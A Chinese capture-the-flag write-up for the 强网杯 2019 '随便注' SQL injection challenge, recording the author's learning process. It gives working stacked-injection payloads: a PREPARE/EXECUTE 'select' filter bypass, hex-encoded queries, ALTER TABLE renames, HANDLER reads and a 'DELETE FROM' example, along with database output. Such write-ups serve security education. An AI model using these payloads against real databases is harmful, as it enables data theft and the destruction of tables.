强网杯 2019 随便注 上次做这题还是两个月前,好像也是这题坚定了我打基础的原因,虽然现在看还是得看大佬们的wp 但以前是wp都看不明白 先是数字传参, 注入点
尝试
回显
return preg_match(“/select|update|delete|drop|insert|where|./i”,$inject);
尝试
1 1 'or extractvalue(1 ,concat('!',database())) #
成功回显 error 1105 : XPATH syntax error: ‘!supersqli’
好像能用报错,但是select被过滤了呀🤡
尝试了 双写绕过 使用URL编码 <>绕过 无果
只能看wp了吗https://zhuanlan.zhihu.com/p/545713669 原wp写的是真的好,详细透彻
使用堆叠注入,查看数据库
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 1 ';show databases;# 回显: array(2) { [0]=> string(1) "1" [1]=> string(7) "hahahah" } array(1) { [0]=> string(11) "ctftraining" } array(1) { [0]=> string(18) "information_schema" } array(1) { [0]=> string(5) "mysql" } array(1) { [0]=> string(18) "performance_schema" } array(1) { [0]=> string(9) "supersqli" } array(1) { [0]=> string(4) "test" }
然后是查看表名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 1 ';show tables from supersqli;# 回显: array(2) { [0]=> string(1) "1" [1]=> string(7) "hahahah" } array(1) { [0]=> string(16) "1919810931114514" } array(1) { [0]=> string(5) "words" }
查看字段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 1 ';show colums from "1919810931114514";# 没法回显 改为 1' ;show columns from '1919810931114514' ;# 不行1 ';show columns from `1919810931114514`;# 成功回显: array(2) { [0]=> string(1) "1" [1]=> string(7) "hahahah" } array(6) { [0]=> string(4) "flag" [1]=> string(12) "varchar(100)" [2]=> string(2) "NO" [3]=> string(0) "" [4]=> NULL [5]=> string(0) "" }
注意,如果tableName是纯数字,需要用包裹,比如1';desc
1919810931114514`;#
原来是 ` 而不是 ‘ 🤡
到这步骤就有多种方法解题了
法一 通过预编译的方式拼接select 关键字:
1 1 ';prepare hack from concat(' sele',' ct',' * from `1919810931114514 `');execute hack;#
得flag{f2078443-bdad-4914-b367-e6691fd333c5}
法二
将select * from 1919810931114514
语句进行16进制编码 73656c656374202a2066726f6d20603139313938313039333131313435313460
1 2 3 1 ';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;# 或者定义一个变量名 1' ;Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460 ;PREPARE hacker from @jia ;EXECUTE hacker;#
看情况用把,我觉得能用预编译的话,那很多都能解决了
法三
最后一步(第8步)也可以通过修改表名和列名来实现。我们输入1后,默认会显示id为1的数据,可以猜测默认显示的是words表的数据,查看words表结构第一个字段名为id我们把words表随便改成words1,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果:
1 2 3 4 1 '; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);# 然后直接 1' ; or ture 查看所有字段拿到flag
666,改不了查询语句就改表名,思路太开阔了,
这里要注意: 我在自己尝试的时候没有将换表名和改字段的操作一条语句完成,我是先改的words to words1,导致了源码sql查询语句的查words出错,后面将flag表改成words的操作无法传入,一切后续操作失效,这时sql语句查询的words,但是现在已经没有words这个表了,原sql语句就用不了了,永远报错,应该是相当于这个靶机废了;
法四:
此题还可以通过handle直接出答案:
1 1 ';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;
notice
0x01 堆叠注入原理 在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
0x02 预编译
预编译相当于定一个语句相同,参数不通的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤,
我理解是先写好sql语句命令,然后执行,类似编程语言里的定义函数或类? 预编译命令用法:
1 2 3 PREPARE 名称 FROM Sql 语句 ? ;SET @x = xx;EXECUTE 名称 USING @x ;
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 方法一:SElECT * FROM t_user WHERE USER_ID = 1 方法二:PREPARE jia FROM 'SElECT * FROM t_user WHERE USER_ID = 1' ;EXECUTE jia; 方法三:PREPARE jia FROM 'SELECT * FROM t_user WHERE USER_ID = ?' ;SET @ID = 1 ;EXECUTE jia USING @ID ; 方法四:SET @SQL = 'SElECT * FROM t_user WHERE USER_ID = 1' ;PREPARE jia FROM @SQL ;EXECUTE jia;
0x03 更改表名 修改表名:ALTER TABLE 旧表名 RENAME TO 新表名; 修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;
0x04 handle MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 # 打开一个表名为 tbl_name 的表的句柄 HANDLER tbl_name OPEN [ [AS ] alias] # 1 、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览 HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...) [ WHERE where_condition ] [LIMIT ... ] # 2 、通过索引查看表 # FIRST : 获取第一行(索引最小的一行) # NEXT: 获取下一行 # PREV: 获取上一行 # LAST : 获取最后一行(索引最大的一行) HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT ... ] # 3 、不通过索引查看表 # READ FIRST : 获取句柄的第一行 # READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行) # 最后一行执行之后再执行 READ NEXT 会返回一个空的结果 HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT ... ] # 关闭已打开的句柄 HANDLER tbl_name CLOSE
参考wp里的语句
1 1 ';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;
更详细用法https://blog.csdn.net/qq_43427482/article/details/109898934